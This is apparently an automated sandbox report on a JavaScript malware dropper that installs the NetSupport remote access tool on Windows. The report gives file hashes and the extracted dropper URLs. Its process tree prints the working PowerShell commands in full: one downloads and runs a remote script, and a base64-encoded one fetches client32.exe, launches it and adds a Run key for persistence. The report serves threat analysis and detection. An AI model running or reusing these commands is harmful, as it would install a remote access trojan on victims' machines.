Analysis

  • max time kernel
    143s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-02-2024 14:30

General

  • Target

    ARS4254253425425.js

  • Size

    30KB

  • MD5

    b3f0d4ff6b231ceb9bcf39d6d773f995

  • SHA1

    1f2b2b1eb4ce6bf53d1c42bfe08c5e642b1acfbb

  • SHA256

    93d8e735e2028a6bb2191ae91273d9a6999058b74f78ac1523c93a575b795c25

  • SHA512

    08e7332453dbf2a62e19edbc1ea5be251356547f02ea5afe60780d9d5ae330e18cab3c49e5ab43aa5ce7277aac672f73788db0ee84053484b9cbfb83aed7cca7

  • SSDEEP

    768:ic78kofr9MzttQJklxbYPP9/r3e2wFoehDrMZmvkBKRdZXOLkr8R2Jx/gwwNEBce:iK4mRYPPtr3jh+x5Y6CJhU/0m

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://assime.ca/command.php

Extracted

Language
ps1
Source
URLs
exe.dropper

http://sakaleralo.com/ccea268b-8716-46be-9148-3e614b38a0df.txt

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ARS4254253425425.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://assime.ca/command.php')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2300
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Nop -ExeCUtIONPol bYPASS -W hI -eNco QwBoAEQASQByACAAJABlAE4AdgA6AEwATwBDAEEAbABhAHAAcABEAGEAVABhADsAIAAkAEcAMgBmAGYAdwAwAGMAPQBbAGIAeQB0AGUAWwBdAF0AQAAoADgAMAAsACAANwA1ACwAIAAzACwAIAA0ACkAOwAgACQAawBuAHMAUABVADIAQQA9ACcAaAB0AHQAcAA6AC8ALwBzAGEAawBhAGwAZQByAGEAbABvAC4AYwBvAG0ALwBjAGMAZQBhADIANgA4AGIALQA4ADcAMQA2AC0ANAA2AGIAZQAtADkAMQA0ADgALQAzAGUANgAxADQAYgAzADgAYQAwAGQAZgAuAHQAeAB0ACcAOwAgACQAMwBsAEsAYwBVAEgAWAA9ACcAagBHAGgAVAB5AG8AaQBDAC4AegBpAHAAJwA7ACAAJABYAEYAeABiADMAPQAnAG0AbwBkAGUAbQBfAGcAcAByAHMAXwBtAG8AZAB1AGwAZQBzACcAOwAgACQARABFAGYAZgBJAFMAPQBpAE4AVgBPAEsAZQAtAFcAZQBCAHIAZQBxAFUAZQBzAHQAIAAtAFUAcgBJACAAJABrAG4AcwBQAFUAMgBBACAALQBVAHMARQBiAEEAcwBJAEMAUABhAFIAUwBJAE4AZwA7ACAAJABCAG0ASgBOAGcANQBmAD0AJABEAEUAZgBmAEkAUwAuAGMAbwBuAFQAZQBOAHQAOwAgACQATgBUADYAVgBPAEUAPQAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEALAAgACQAWABGAHgAYgAzACAALQBqAG8AaQBOACAAJwBcACcAOwAgACQAYwBrAGEAdQA4AD0AIgAkAGUATgB2ADoATABPAEMAQQBsAGEAcABwAEQAYQBUAGEAXAAkADMAbABLAGMAVQBIAFgAIgA7ACAAJABQAHgASQBCAFgAcwBvAEYAPQBbAEMAbwBOAFYARQBSAHQAXQA6ADoAZgByAG8AbQBiAGEAUwBlADYANABTAFQAcgBpAE4ARwAoACQAQgBtAEoATgBnADUAZgApADsAIAAkAEgANQBMAHoAawBIAFQAPQAkAFAAeABJAEIAWABzAG8ARgAgAC0AUwBQAGwASQBUACAAJwAgACcAIAAtAEEAcwAgAFsAQgB5AHQARQBbAF0AXQA7ACAAJAAxAFkASwBnAHMAcwBuAD0AJABHADIAZgBmAHcAMABjACsAJABIADUATAB6AGsASABUADsAIABTAGMAIAAkADMAbABLAGMAVQBIAFgAIAAkADEAWQBLAGcAcwBzAG4AIAAtAEUATgBDAG8AZABpAE4AZwAgAEIAWQBUAGUAOwAgAEUAeABwAEEAbgBkAC0AQQBSAEMAaABJAHYAZQAgAC0AcABBAHQAaAAgACQAYwBrAGEAdQA4ACAALQBkAEUAUwBUAGkAbgBBAFQAaQBvAE4AUABhAHQASAAgACQATgBUADYAVgBPAEUAIAAtAGYAbwBSAEMARQA7ACAAUgBJACAAJAAzAGwASwBjAFUASABYADsAIABDAEQAIAAkAE4AVAA2AFYATwBFADsAIAAkAFIAcQBQAHQAUQBkAD0AIgB7ADAAfQBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACIAIAAtAGYAIAAkAE4AVAA2AFYATwBFADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAATgBlAHcALQBJAFQARQBtAFAAcgBPAFAARQByAHQAeQAgAC0AUABhAFQASAAgACcASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAgAC0ATgBhAE0AZQAgACQAWABGAHgAYgAzACAALQBWAGEATABVAEUAIAAkAFIAcQBQAHQAUQBkACAALQBwAFIAbwBQAGUAcgBUAHkAVABZAFAARQAgACcAUwB0AHIAaQBuAGcAJwA7AA==
        3⤵
        • Blocklisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2996
        • C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe
          "C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:2660

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    512c6cab650bfda6ef2995f6b515ed6f

    SHA1

    fec40abf4f5d74ea7f8828cee83770e423203083

    SHA256

    84871d83ecd410fb4ddede63061d9c521d876d47a8ffdbb8609378447ba0d262

    SHA512

    638fffef25de1c3e850eb4f4668c4fdafed7bde042b130325daf323b45d2784916381b410219473b5bbacb4c11c6b8b7ab892b3d5695edb0b0a0785233e8e19b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    a2b24af1492f112d2e53cb7415fda39f

    SHA1

    dbfcee57242a14b60997bd03379cc60198976d85

    SHA256

    fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

    SHA512

    9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fwaftq0m.3lm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\modem_gprs_modules\HTCTL32.DLL

    Filesize

    320KB

    MD5

    2d3b207c8a48148296156e5725426c7f

    SHA1

    ad464eb7cf5c19c8a443ab5b590440b32dbc618f

    SHA256

    edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

    SHA512

    55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

  • C:\Users\Admin\AppData\Local\modem_gprs_modules\NSM.LIC

    Filesize

    259B

    MD5

    866c96ba2823ac5fe70130dfaaa08531

    SHA1

    892a656da1ea264c73082da8c6e5f5728abcb861

    SHA256

    6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921

    SHA512

    0dafc66222bbfcb1558d9845ee4ddeb7a687561b08b86a07b66b120c22952a8082e041d9234d9c69c8ade5d4dae894d3f10afd7ba6dd3f057a08fb5d57c42112

  • C:\Users\Admin\AppData\Local\modem_gprs_modules\PCICAPI.dll

    Filesize

    32KB

    MD5

    dcde2248d19c778a41aa165866dd52d0

    SHA1

    7ec84be84fe23f0b0093b647538737e1f19ebb03

    SHA256

    9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

    SHA512

    c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

  • C:\Users\Admin\AppData\Local\modem_gprs_modules\PCICL32.DLL

    Filesize

    2.4MB

    MD5

    3524d668ae98cb143948d547e07a43ad

    SHA1

    630b1081e7aa69bdbd5a9fbeb86bc6268b1b2b8e

    SHA256

    fc1baab6d5960b56d427ac0e54c4f53ef3bafb7eee5d16ff457ea125ec3b3ba6

    SHA512

    10dbfa2a855bc65a25dbb439e040b71291cdc375c91485049c71db1c84325f1c3c6f21c57ec266f262dc480e3fc6da445f2acd3a28d5563038e0ae5daffaf7ad

  • C:\Users\Admin\AppData\Local\modem_gprs_modules\PCICL32.dll

    Filesize

    2.7MB

    MD5

    f4961e1dcc9ca34525a9e66a2787731d

    SHA1

    308508f833434fbc54d0f246af75edebb0da19c1

    SHA256

    a2c17891d955b5aa55233eb3a78f6f2298e80fd92526252c93599a037af9f2bf

    SHA512

    c930962383ee4f7affa0d651503fd6f0b0ac9a1f95f346eab3902c863f548969db097d5a7231b9e537eeebb9149ce1e4dc09e68ee0ae2616c7910c7b02b470ae

  • C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.exe

    Filesize

    117KB

    MD5

    a2b46c59f6e7e395d479b09464ecdba0

    SHA1

    92c132307dd21189b6d7912ddd934b50e50d1ec1

    SHA256

    89f0c8f170fe9ea28b1056517160e92e2d7d4e8aa81f4ed696932230413a6ce1

    SHA512

    4f4479ddcd9d0986aec3d789f9e14f9285e8d9d63a5b8f73c9e3203d3a53cd575b1e15edf0d5f640816bb7f25bd3501244e0f7c181a716a6804742ed2f1cf916

  • C:\Users\Admin\AppData\Local\modem_gprs_modules\client32.ini

    Filesize

    641B

    MD5

    2cd1a8115b7328756129052384e2eed6

    SHA1

    9458e9553d3d1f075ed09a06fda3f36136781704

    SHA256

    02ab893e7d31d7c3b18d27c3c4ef6e056da27cc6ad7efa76b8d4729403a067d2

    SHA512

    df5630c14f1400166ecbf0854a48616c939c0467634c427f8a287edc5c064c0d259b1cec0b02ae7aa31e21d1609ff31f4e11285160323f2c24fcb02de4e20455

  • C:\Users\Admin\AppData\Local\modem_gprs_modules\msvcr100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\Local\modem_gprs_modules\pcichek.dll

    Filesize

    18KB

    MD5

    a0b9388c5f18e27266a31f8c5765b263

    SHA1

    906f7e94f841d464d4da144f7c858fa2160e36db

    SHA256

    313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

    SHA512

    6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

  • memory/2300-2-0x000002597C050000-0x000002597C060000-memory.dmp

    Filesize

    64KB

  • memory/2300-0-0x000002597B930000-0x000002597B952000-memory.dmp

    Filesize

    136KB

  • memory/2300-30-0x00007FFCF1EA0000-0x00007FFCF2961000-memory.dmp

    Filesize

    10.8MB

  • memory/2300-3-0x000002597C050000-0x000002597C060000-memory.dmp

    Filesize

    64KB

  • memory/2300-1-0x00007FFCF1EA0000-0x00007FFCF2961000-memory.dmp

    Filesize

    10.8MB

  • memory/2300-86-0x00007FFCF1EA0000-0x00007FFCF2961000-memory.dmp

    Filesize

    10.8MB

  • memory/2996-23-0x000001F279350000-0x000001F279360000-memory.dmp

    Filesize

    64KB

  • memory/2996-24-0x000001F279350000-0x000001F279360000-memory.dmp

    Filesize

    64KB

  • memory/2996-70-0x00007FFCF1EA0000-0x00007FFCF2961000-memory.dmp

    Filesize

    10.8MB

  • memory/2996-22-0x00007FFCF1EA0000-0x00007FFCF2961000-memory.dmp

    Filesize

    10.8MB

  • memory/2996-26-0x000001F27C080000-0x000001F27C092000-memory.dmp

    Filesize

    72KB

  • memory/2996-27-0x000001F27BE30000-0x000001F27BE3A000-memory.dmp

    Filesize

    40KB